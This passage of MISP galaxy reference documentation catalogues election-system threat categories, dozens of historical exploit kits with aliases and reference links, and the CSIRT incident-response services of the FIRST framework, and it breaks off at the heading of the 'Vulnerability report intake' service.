
Breach of voters privacy during the casting of votes

Breach of voters privacy during the casting of votes

The tag is: *misp-galaxy:guidelines="Breach of voters privacy during the casting of votes"*

Table 1578. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering, DoS or overload of the systems used for counting or aggregating results

Tampering, DoS or overload of the systems used for counting or aggregating results

The tag is: *misp-galaxy:guidelines="Tampering, DoS or overload of the systems used for counting or aggregating results"*

Table 1579. Table References

Links

https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering or DoS of communication links uesd to transfer (interim) results

Tampering or DoS of communication links uesd to transfer (interim) results

The tag is: *misp-galaxy:guidelines="Tampering or DoS of communication links uesd to transfer (interim) results"*

Table 1580. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering with supply chain involved in the movement or transfer data

Tampering with supply chain involved in the movement or transfer data

The tag is: *misp-galaxy:guidelines="Tampering with supply chain involved in the movement or transfer data"*

Table 1581. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking of internal systems used by media or press

Hacking of internal systems used by media or press

The tag is: *misp-galaxy:guidelines="Hacking of internal systems used by media or press"*

Table 1582. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering, DoS, or overload of media communication links

Tampering, DoS, or overload of media communication links

The tag is: *misp-galaxy:guidelines="Tampering, DoS, or overload of media communication links"*

Table 1583. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Defacement, DoS or overload of websites or other systems used for publication of the results

Defacement, DoS or overload of websites or other systems used for publication of the results

The tag is: *misp-galaxy:guidelines="Defacement, DoS or overload of websites or other systems used for publication of the results"*

Table 1584. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Entity

Description of entities that can be involved in events..

Entity is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Individual

An individual involved in an event.

The tag is: *misp-galaxy:entity="Individual"*

Group

A group involved in an event.

The tag is: *misp-galaxy:entity="Group"*

Employee

A employee involved in an event.

The tag is: *misp-galaxy:entity="Employee"*

Structure

A structure involved in an event.

The tag is: *misp-galaxy:entity="Structure"*

Exploit-Kit

Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits.It's not meant to be totally exhaustive but aim at covering the most seen in the past 5 years.

> Exploit-Kit is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Kafeine - Will Metcalf - KahuSecurity

Astrum

Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It's notable by its use of Steganography

The tag is: *misp-galaxy:exploit-kit="Astrum"*

Astrum is also known as:

- Stegano EK

Table 1585. Table References

Links
http://malware.dontneedcoffee.com/2014/09/astrum-ek.html
http://www.welivesecurity.com/2016/12/06/readers-popular-websites-targeted-stealthy-stegano-exploit-kit-hiding-pixels-malicious-ads/

Underminer

Underminer EK is an exploit kit that seems to be used privately against users in Asia. Functionalities: browser profiling and filtering, preventing of client revisits, URL randomization, and asymmetric encryption of payloads.

The tag is: *misp-galaxy:exploit-kit="Underminer"*

Underminer is also known as:

- Underminer EK

Table 1586. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel/
http://bobao.360.cn/interref/detail/248.html

Fallout

Fallout Exploit Kit appeared at the end of August 2018 as an updated Nuclear Pack featuring current exploits seen in competiting Exploit Kit.

The tag is: *misp-galaxy:exploit-kit="Fallout"*

Fallout is also known as:

- Fallout

View relationships graph

Fallout has relationships with:

- dropped: misp-galaxy:ransomware="GandCrab" with estimative-language:likelihood-probability="almost-certain"

Table 1587. Table References

Links
https://www.nao-sec.org/2018/09/hello-fallout-exploit-kit.html
https://www.bleepingcomputer.com/news/security/new-fallout-exploit-kit-drops-gandcrab-ransomware-or-redirects-to-pups/
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-now-installing-the-kraken-cryptor-ransomware/

Bingo

Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targetting at that times mostly Russia

The tag is: *misp-galaxy:exploit-kit="Bingo"*

Terror EK

Terror EK is built on Hunter, Sundown and RIG EK code

The tag is: *misp-galaxy:exploit-kit="Terror EK"*

Terror EK is also known as:

- Blaze EK
- Neptune EK

Table 1588. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit—More-like-Error-Exploit-Kit/

DealersChoice

DealersChoice is a Flash Player Exploit platform triggered by RTF.

DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants — variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.

The tag is: *misp-galaxy:exploit-kit="DealersChoice"*

DealersChoice is also known as:

- Sednit RTF EK

Table 1589. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/
http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

DNSChanger

DNSChanger Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: *misp-galaxy:exploit-kit="DNSChanger"*

DNSChanger is also known as:

- RouterEK

Table 1590. Table References

Links
http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html
https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices

Novidade

Novidade Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: *misp-galaxy:exploit-kit="Novidade"*

Novidade is also known as:

- DNSGhost

Table 1591. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-exploit-kit-novidade-found-targeting-home-and-soho-routers/

Disdain

Disdain EK has been introduced on underground forum on 2017-08-07. The panel is stolen from Sundown, the pattern are Terror alike and the obfuscation reminds Nebula

The tag is: *misp-galaxy:exploit-kit="Disdain"*

Table 1592. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-disdain-exploit-kit-detected-wild/

Kaixin

Kaixin is an exploit kit mainly seen behind compromised website in Asia

The tag is: *misp-galaxy:exploit-kit="Kaixin"*

Kaixin is also known as:

- CK vip

Table 1593. Table References

Links
http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/
http://www.kahusecurity.com/2012/new-chinese-exploit-pack/

Magnitude

Magnitude EK

The tag is: *misp-galaxy:exploit-kit="Magnitude"*

Magnitude is also known as:

- Popads EK
- TopExp
- Magniber
- Magnitude EK

Table 1594. Table References

Links
http://malware.dontneedcoffee.com/2013/10/Magnitude.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/A-Peek-Into-the-Lion-s-Den-%E2%80%93-The-Magnitude—aka-PopAds—Exploit-Kit/
http://malware.dontneedcoffee.com/2014/02/and-real-name-of-magnitude-is.html
https://community.rsa.com/community/products/netwitness/blog/2017/02/09/magnitude-exploit-kit-under-the-hood

MWI

Microsoft Word Intruder is an exploit kit focused on Word and embedded flash exploits. The author wants to avoid their customer to use it in mass spam campaign, so it's most often connected to semi-targeted attacks

The tag is: *misp-galaxy:exploit-kit="MWI"*

Table 1595. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html

https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-microsoft-word-intruder-revealed.pdf

ThreadKit

ThreadKit is the name given to a widely used Microsoft Office document exploit builder kit that appeared in June 2017

The tag is: *misp-galaxy:exploit-kit="ThreadKit"*

Table 1596. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/unraveling-ThreadKit-new-document-exploit-builder-distribute-The-Trick-Formbook-Loki-Bot-malware

VenomKit

VenomKit is the name given to a kit sold since april 2017 as "Word 1day exploit builder" by user badbullzvenom. Author allows only use in targeted campaign. Is used for instance by the "Cobalt Gang"

The tag is: *misp-galaxy:exploit-kit="VenomKit"*

VenomKit is also known as:

- Venom

Table 1597. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Taurus Builder

Taurus Builder is a tool used to generate malicious MS Word documents that contain macros. The kit is advertised on forums by the user "badbullzvenom".

The tag is: *misp-galaxy:exploit-kit="Taurus Builder"*

RIG

RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.

The tag is: *misp-galaxy:exploit-kit="RIG"*

RIG is also known as:

- RIG 3
- RIG-v
- RIG 4
- Meadgive

Table 1598. Table References

Links
http://www.kahusecurity.com/2014/rig-exploit-pack/
https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Reloaded---Examining-the-Architecture-of-RIG-Exploit-Kit-3-0/
https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Exploit-Kit-%E2%80%93-Diving-Deeper-into-the-Infrastructure/
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

Spelevo

Spelevo is an exploit kit that appeared at the end of February 2019 and could be an evolution of SPL EK

The tag is: *misp-galaxy:exploit-kit="Spelevo"*

Table 1599. Table References

Links
https://twitter.com/kafeine/status/1103649040800145409

Sednit EK

Sednit EK is the exploit kit used by APT28

The tag is: *misp-galaxy:exploit-kit="Sednit EK"*

Sednit EK is also known as:

- SedKit

Table 1600. Table References

Links
http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/

Sundown-P

Sundown-P/Sundown-Pirate is a rip of Sundown seen used in a private way (One group using it only) - First spotted at the end of June 2017, branded as CaptainBlack in August 2017

The tag is: *misp-galaxy:exploit-kit="Sundown-P"*

Sundown-P is also known as:

- Sundown-Pirate
- CaptainBlack

Table 1601. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/promediads-malvertising-sundown-pirate-exploit-kit/

Bizarro Sundown

Bizarro Sundown appears to be a fork of Sundown with added anti-analysis features

The tag is: *misp-galaxy:exploit-kit="Bizarro Sundown"*

Bizarro Sundown is also known as:

- Sundown-b

Table 1602. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/
https://blog.malwarebytes.com/cybercrime/exploits/2016/10/yet-another-sundown-ek-variant/

Hunter

Hunter EK is an evolution of 3Ros EK

The tag is: *misp-galaxy:exploit-kit="Hunter"*

Hunter is also known as:

- 3ROS Exploit Kit

View relationships graph

Hunter has relationships with:

- similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"

Table 1603. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/Hunter-Exploit-Kit-Targets-Brazilian-Banking-Customers

GreenFlash Sundown

GreenFlash Sundown is a variation of Bizarro Sundown without landing

The tag is: *misp-galaxy:exploit-kit="GreenFlash Sundown"*

GreenFlash Sundown is also known as:

- Sundown-GF

Table 1604. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/

Angler

The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical "indexm" variant was used to spread Lurk. A vip version used notabily to spread Poweliks, the "standard" commercial version, and a declinaison tied to load selling (mostly bankers) that can be associated to EmpirePPC

The tag is: *misp-galaxy:exploit-kit="Angler"*

Angler is also known as:

- XXX
- AEK
- Axpergle

Table 1605. Table References

Links
https://blogs.sophos.com/2015/07/21/a-closer-look-at-the-angler-exploit-kit/
http://malware.dontneedcoffee.com/2015/12/xxx-is-angler-ek.html
http://malware.dontneedcoffee.com/2016/06/is-it-end-of-angler.html

Archie

Archie EK

The tag is: *misp-galaxy:exploit-kit="Archie"*

Table 1606. Table References

Links
https://www.alienvault.com/blogs/labs-research/archie-just-another-exploit-kit

BlackHole

The BlackHole Exploit Kit has been the most popular exploit kit from 2011 to 2013. Its activity stopped with Paunch's arrest (all activity since then is anecdotal and based on an old leak)

The tag is: *misp-galaxy:exploit-kit="BlackHole"*

BlackHole is also known as:

- BHEK

View relationships graph

BlackHole has relationships with:

- similar: misp-galaxy:rat="BlackHole" with estimative-language:likelihood-probability="likely"

Table 1607. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Blackhole-Exploit-Kit-v2/
https://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit/

Bleeding Life

Bleeding Life is an exploit kit that became open source with its version 2

The tag is: *misp-galaxy:exploit-kit="Bleeding Life"*

Bleeding Life is also known as:

- BL
- BL2

Table 1608. Table References

Links
http://www.kahusecurity.com/2011/flash-used-in-idol-malvertisement/

http://thehackernews.com/2011/10/bleeding-life-2-exploit-pack-released.html

Cool

The Cool Exploit Kit was a kind of BlackHole VIP in 2012/2013

The tag is: *misp-galaxy:exploit-kit="Cool"*

Cool is also known as:

- CEK
- Styxy Cool

Table 1609. Table References

Links
http://malware.dontneedcoffee.com/2012/10/newcoolek.html
http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html
http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/

Fiesta

Fiesta Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Fiesta"*

Fiesta is also known as:

- NeoSploit
- Fiexp

Table 1610. Table References

Links
http://blog.0x3a.com/post/110052845124/an-in-depth-analysis-of-the-fiesta-exploit-kit-an
http://www.kahusecurity.com/2011/neosploit-is-back/

Empire

The Empire Pack is a variation of RIG operated by a load seller. It’s being fed by many traffic actors

The tag is: *misp-galaxy:exploit-kit="Empire"*

Empire is also known as:

- RIG-E

View relationships graph

Empire has relationships with:

- similar: misp-galaxy:tool="Empire" with estimative-language:likelihood-probability="likely"

Table 1611. Table References

Links
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

FlashPack

FlashPack EK got multiple fork. The most common variant seen was the standalone Flash version

The tag is: *misp-galaxy:exploit-kit="FlashPack"*

FlashPack is also known as:

- FlashEK
- SafePack
- CritXPack
- Vintage Pack

Table 1612. Table References

Links
http://malware.dontneedcoffee.com/2012/11/meet-critxpack-previously-vintage-pack.html
http://malware.dontneedcoffee.com/2013/04/meet-safe-pack-v20-again.html

Glazunov

Glazunov is an exploit kit mainly seen behind compromised website in 2012 and 2013. Glazunov compromission is likely the ancestor activity of what became EITest in July 2014. Sibhost and Flimkit later shown similarities with this Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Glazunov"*

Table 1613. Table References

Links
https://nakedsecurity.sophos.com/2013/06/24/taking-a-closer-look-at-the-glazunov-exploit-kit/

GrandSoft

GrandSoft Exploit Kit was a quite common exploit kit used in 2012/2013. Disappeared between march 2014 and September 2017

The tag is: *misp-galaxy:exploit-kit="GrandSoft"*

GrandSoft is also known as:

- StampEK
- SofosFO

Table 1614. Table References

Links
http://malware.dontneedcoffee.com/2013/09/FinallyGrandSoft.html
http://malware.dontneedcoffee.com/2012/10/neosploit-now-showing-bh-ek-20-like.html
https://nakedsecurity.sophos.com/2012/08/24/sophos-sucks-malware/

HanJuan

Hanjuan EK was a one actor fed variation of Angler EK used in evolved malvertising chain targeting USA. It has been using a 0day (CVE-2015-0313) from beginning of December 2014 till beginning of February 2015

The tag is: *misp-galaxy:exploit-kit="HanJuan"*

Table 1615. Table References

Links
http://www.malwaresigs.com/2013/10/14/unknown-ek/
https://blog.malwarebytes.com/threat-analysis/2014/08/shining-some-light-on-the-unknown-exploit-kit/
http://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-exploit-kit-in-cve-2015-0313-attack
https://twitter.com/kafeine/status/562575744501428226

Himan

Himan Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Himan"*

Himan is also known as:

- High Load

Table 1616. Table References

Links
http://malware.dontneedcoffee.com/2013/10/HiMan.html

Impact

Impact EK

The tag is: *misp-galaxy:exploit-kit="Impact"*

Table 1617. Table References

Links
http://malware.dontneedcoffee.com/2012/12/inside-impact-exploit-kit-back-on-track.html

Infinity

Infinity is an evolution of Redkit

The tag is: *misp-galaxy:exploit-kit="Infinity"*

Infinity is also known as:

- Redkit v2.0
- Goon

Table 1618. Table References

Links
http://blog.talosintel.com/2013/11/im-calling-this-goon-exploit-kit-for-now.html
http://www.kahusecurity.com/2014/the-resurrection-of-redkit/

Lightsout

Lightsout Exploit Kit has been used in Watering Hole attack performed by the APT Group havex

The tag is: *misp-galaxy:exploit-kit="Lightsout"*

Table 1619. Table References

Links
http://blog.talosintel.com/2014/03/hello-new-exploit-kit.html
http://blog.talosintel.com/2014/05/continued-analysis-of-lightsout-exploit.html
http://malwageddon.blogspot.fr/2013/09/unknown-ek-by-way-how-much-is-fish.html

Nebula

Nebula Exploit Kit has been built on Sundown source and features an internal TDS

The tag is: *misp-galaxy:exploit-kit="Nebula"*

Table 1620. Table References

Links
http://malware.dontneedcoffee.com/2017/03/nebula-exploit-kit.html

Neutrino

Neutrino Exploit Kit has been one of the major exploit kit from its launch in 2013 till september 2016 when it become private (defense name for this variation is Neutrino-v). This EK vanished from march 2014 till november 2014.

The tag is: *misp-galaxy:exploit-kit="Neutrino"*

Neutrino is also known as:

- Job314
- Neutrino Rebooted
- Neutrino-v

View relationships graph

Neutrino has relationships with:

- similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"

Table 1621. Table References

Links
http://malware.dontneedcoffee.com/2013/03/hello-neutrino-just-one-more-exploit-kit.html
http://malware.dontneedcoffee.com/2014/11/neutrino-come-back.html

Niteris

Niteris was used mainly to target Russian.

The tag is: *misp-galaxy:exploit-kit="Niteris"*

Niteris is also known as:

- CottonCastle

Table 1622. Table References

Links
http://malware.dontneedcoffee.com/2014/06/cottoncastle.html
http://malware.dontneedcoffee.com/2015/05/another-look-at-niteris-post.html

Nuclear

The Nuclear Pack appeared in 2009 and has been one of the longer living one. Spartan EK was a landing less variation of Nuclear Pack

The tag is: *misp-galaxy:exploit-kit="Nuclear"*

Nuclear is also known as:

- NEK
- Nuclear Pack
- Spartan
- Neclu

Table 1623. Table References

Links
http://blog.checkpoint.com/2016/05/17/inside-nuclears-core-unraveling-a-ransomware-as-a-service-infrastructure/

Phoenix

Phoenix Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Phoenix"*

Phoenix is also known as:

- PEK

Table 1624. Table References

Links
http://malwareint.blogspot.fr/2010/09/phoenix-exploits-kit-v21-inside.html
http://blog.trendmicro.com/trendlabs-security-intelligence/now-exploiting-phoenix-exploit-kit-version-2-5/

Private Exploit Pack

Private Exploit Pack

The tag is: *misp-galaxy:exploit-kit="Private Exploit Pack"*

Private Exploit Pack is also known as:

- PEP

Table 1625. Table References

Links
http://malware.dontneedcoffee.com/2013/07/pep-new-bep.html
http://malwageddon.blogspot.fr/2013/07/unknown-ek-well-hey-hey-i-wanna-be.html

Redkit

Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer's traffic

The tag is: *misp-galaxy:exploit-kit="Redkit"*

Table 1626. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/A-Wild-Exploit-Kit-Appears----Meet-RedKit/
http://malware.dontneedcoffee.com/2012/05/inside-redkit.html
https://nakedsecurity.sophos.com/2013/05/09/redkit-exploit-kit-part-2/

Sakura

Sakura Exploit Kit appeared in 2012 and was adopted by several big actor

The tag is: *misp-galaxy:exploit-kit="Sakura"*

Table 1627. Table References

Links
http://www.xylibox.com/2012/01/sakura-exploit-pack-10.html

SPL

SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV

The tag is: *misp-galaxy:exploit-kit="SPL"*

SPL is also known as:

- SPL_Data
- SPLNet
- SPL2

Table 1628. Table References

Links
http://www.malwaresigs.com/2012/12/05/spl-exploit-kit/

Sundown

Sundown Exploit Kit is mainly built out of stolen code from other exploit kits

The tag is: *misp-galaxy:exploit-kit="Sundown"*

Sundown is also known as:

- Beps
- Xer
- Beta

Table 1629. Table References

Links
http://malware.dontneedcoffee.com/2015/06/fast-look-at-sundown-ek.html
https://www.virusbulletin.com/virusbulletin/2015/06/beta-exploit-pack-one-more-piece-crimeware-infection-road

Sweet-Orange

Sweet Orange

The tag is: *misp-galaxy:exploit-kit="Sweet-Orange"*

Sweet-Orange is also known as:

- SWO
- Anogre

Table 1630. Table References

Links
http://malware.dontneedcoffee.com/2012/12/juice-sweet-orange-2012-12.html

Styx

Styx Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Styx"*

Table 1631. Table References

Links
http://malware.dontneedcoffee.com/2012/12/crossing-styx-styx-sploit-pack-20-cve.html
https://krebsonsecurity.com/2013/07/styx-exploit-pack-domo-arigato-pc-roboto/
http://malware.dontneedcoffee.com/2013/05/inside-styx-2013-05.html

WhiteHole

WhiteHole Exploit Kit appeared in January 2013 in the tail of the CVE-2013-0422

The tag is: *misp-galaxy:exploit-kit="WhiteHole"*

Table 1632. Table References

Links
http://malware.dontneedcoffee.com/2013/02/briefly-wave-whitehole-exploit-kit-hello.html

Unknown

Unknown Exploit Kit. This is a place holder for any undocumented Exploit Kit. If you use this tag, we will be more than happy to give the associated EK a deep look.

The tag is: *misp-galaxy:exploit-kit="Unknown"*

Table 1633. Table References

Links
https://twitter.com/kafeine
https://twitter.com/node5
https://twitter.com/kahusecurity

SpelevoEK

The Spelevo exploit kit seems to have similarities to SPL EK, which is a different exploit kit.

The tag is: *misp-galaxy:exploit-kit="SpelevoEK"*

Table 1634. Table References

Links
https://cyberwarzone.com/what-is-the-spelevo-exploit-kit/

FIRST CSIRT Services Framework

The Computer Security Incident Response Team (CSIRT) Services Framework is a high-level document describing in a structured way a collection of cyber security services and associated functions that Computer Security Incident Response Teams and other teams providing incident management related services may provide.

FIRST CSIRT Services Framework is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

FIRST - CIRCL - Jean-Louis Huynen

Service: Monitoring and detection

```
Based on logs, NetFlow data, IDS alerts, sensor networks, external sources, or other
available information security event data, apply a range of methods from simple logic
or pattern matching rules to the application of statistical models or machine learning
in order to identify potential information security incidents. This can involve a vast
amount of data and typically, but not necessarily, requires specialized tools such as
Security Information and Event Management (SIEM) or big data platforms to process. An
important objective of continuous improvement is to minimize the amount of false
alarms that need to be analyzed as part of the Analyzing service.
```

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Monitoring and detection"*

Service: Event analysis

The flow of detected potential information security incidents must be triaged and each one qualified as an information security incident (true positive) or as a false alarm (false positive) using manual and/or automated analysis. This may require manual or automated gathering of additional information, depending on the detection use case. Priority should be given to the analysis of potentially more critical information security incidents to ensure timely reaction to what is most important. Structured qualification of detected potential information security incidents enables effective continuous improvement in a directed way by identifying detection use cases, data sources, or processes with quality issues.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Event analysis"*

Service: Information security incident report acceptance

For a CSIRT, the most important task is the acceptance of reports about information security events and potential information security incidents affecting networks, devices, components, users, organizations, or infrastructure—referred to as the “target”—inside the constituency. The CSIRT should anticipate that potential information security incidents may be reported from various sources in various formats, both manually and automatically. To enable constituents to report information security incidents more effectively, the CSIRT should provide one or more mechanisms as well as guidance or instructions on what and how to securely report information security incidents. Reporting mechanisms can include email, a website, a dedicated information security incident reporting form or portal, or other appropriate methods to enable reports to be submitted safely and securely. Reporting guidance, if not included as part of an information security incidents reporting form itself, should be provided in separate documentation or via a webpage, and should list the specific information that is desirable for inclusion in the report. Due to the potentially large number of automatically escalated potential information security incidents detected via an Information Security Event Management service, this must be planned for in advance of adopting

such interfaces or authorizing constituents to use them.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Information security incident report acceptance"*

Service: Information security incident analysis

This service consists of functions to gain an understanding of the information security incident and its actual and potential impact to identify the underlying issues or vulnerabilities or weaknesses (root causes) that allowed the successful attack, compromise, or exploit. Detailed analysis is often complex and time-consuming. The objective is to identify and characterize the information security incident in as much detail as required or justified by the current understanding of its impact. Information security incidents can be characterized by scope, affected entities, tools, or attacks deployed, timelines, etc. This service may continue in parallel while the Information Security Incident Coordination service and functions are occurring or mitigation/recovery actions are taken. The CSIRT may use other information and its own analysis (see below for some options) or knowledge available from vendors and product security teams or security researchers to better understand what has happened and what steps to take to remedy losses or damage.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Information security incident analysis"*

Service: Artifact and forensic evidence analysis

The services related to the understanding of the capabilities and intent of artefacts (e.g., malware, exploits, volatile memory dumps or disk copies, applications codes, logs, documents), their delivery mechanisms, their propagation, their detection, their mitigation, and their disarming or neutralization. This applies to any formats and sources: hardware, firmware, memory, software, etc. Any artefact or evidence must be preserved and collected without any modification, and kept in isolation. As some artefacts and data may become evidence in the context of law enforcement activities, specific regulations or requirements may apply. Even without preserving a chain-of-custody, this service usually involves complex and time-consuming tasks, and requires expertise, setting up dedicated and monitored analysis environments—with or without external accesses from standard wired or wireless networks (such as performing the forensics activities in a sealed or Faraday room), logging of activities, and compliance with procedures. As part of the handling of information security incidents, digital artefacts may be found on affected systems or malware distribution sites. Artefacts may be the remnants of an intruder attack, such as executables, scripts, files, images, configuration files, tools, tool outputs, logs, live or dormant pieces of code, etc. The analysis is carried out in order to find out some or all of the information listed below, which is not considered to be a complete list: The context required of the artefact to run and to perform its intended tasks, whether malicious or not How the artefacts may have been utilized for the attack: uploaded, downloaded, copied, executed, or created within an organization’s environments or components Which systems have been involved locally and remotely to support the distribution and actions What an intruder did once to access to the system, network, organization, or infrastructure was established: from passively collecting data, to actively scanning and transmitting data for exfiltration purposes, or collecting new action requests, updating itself or making a lateral movement inside a compromised (local) network What a user, user process, or user system did

once the user account or user device was compromised What behavior characterizes the artefacts or compromised systems, either in standalone mode, in conjunction with artefacts or components, connected to a local network or the Internet, or in any combination How the artefacts or compromised systems establish connectivity with the target (e.g., intrusion path, initial target, or detection evasion techniques); What communication architecture (peer-to-peer, command-and-control, both) has been utilized What were the actions of the threat actors, what is their network and systems footprint How the intruders or artefacts evaded detection (even over long periods of time which may include reboot or reinitialization) This can be achieved through various types of activities including media or surface analysis reverse engineering runtime or dynamic analysis comparative analysis Each activity provides additional information about the artefacts. Analysis methods include but are not limited to identification of type and characteristics of artefacts, comparison with known artefacts, observation of artefact execution in a runtime or a live environment, and disassembling and interpreting binary artefacts. In carrying out an analysis of the artefacts, an analyst attempts to reconstruct and determine what the intruder did, in order to detect the exploited vulnerability, assess damages, develop solutions to mitigate against the artefacts, and provide information to constituents and other researchers.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Artifact and forensic evidence analysis"*

Service: Mitigation and recovery

Once the analysis has confirmed a potential information security incident and a response strategy has been developed, this must be turned over into a response plan. Even before a response plan can be finalized, ad-hoc measures may be taken. This service also includes the initiating and tracking of all activities which are performed until the information security incident can be considered closed or new information becomes available that requires further analysis and henceforth may also change the response strategy and plan.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Mitigation and recovery"*

Service: Information security incident coordination

Being notified and kept informed about the details and ongoing activities in relation to an information security incident is critical for all stakeholders and organizations involved. As some activities required for a successful mitigation and recovery might involve management approval, this requires suitable escalation and reporting functions established before any information security incident can be handled effectively and efficiently. As the CSIRT analyzes all information as it becomes available, coordination makes sure that notifications and information reach the right points of contact, track their responses and make sure that all parties carrying out activities report back to provide for accurate situational awareness until the information security incident is considered closed and requiring no further coordination. Stakeholders should have avenues to submit questions, check the status of information security incidents, and report issues to the CSIRT. To engage internal stakeholders, the CSIRT should provide communications channels to advertise the remediation status of information security incidents. To engage external stakeholders, the CSIRT should maintain communications channels to other CSIRTs and CSIRT communities that might provide recommendations or technical support.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Information security incident coordination"*

Service: Crisis management support

While today's information security incidents rarely constitute an organizational or national crisis, they have the potential to do so. But the response to a crisis is usually associated with an emergency that threatens the well-being of humans and society at large, or at least the existence of an organization. As it is established in crisis management, a high-ranking role will take over the responsibility of a crisis, thereby changing the usual line of command for the duration of the emergency. As the systems and networks might contribute to emergencies or are required to be available to respond to a crisis situation, a CSIRT will usually be a critical resource for managing such situations and provide valuable experience but also the established services and networks of points of contacts.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Crisis management support"*

Service: Vulnerability discovery / research

Discovery of a new vulnerability is a necessary first step that starts the overall vulnerability management lifecycle. This service includes those functions and activities that a CSIRT may actively perform through its own research or other services to discover a new vulnerability. Functions and activities related to the passive receipt of new vulnerability information from someone else are described later in the Vulnerability Report Intake service. Occasionally a new vulnerability may be discovered by a CSIRT during other activities, such as while analyzing or investigating an incident report. Another means of learning of a new vulnerability is through reading public sources (e.g., websites, mailing lists), other external sources (e.g., premium services, subscriptions), or by actively looking for vulnerabilities through deliberate research (e.g., through fuzz testing, reverse engineering). Such discoveries should be documented and fed into the organization's vulnerability handling processes, regardless of how the CSIRT discovered or learned of the vulnerability.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Vulnerability discovery / research"*

Service: Vulnerability report intake

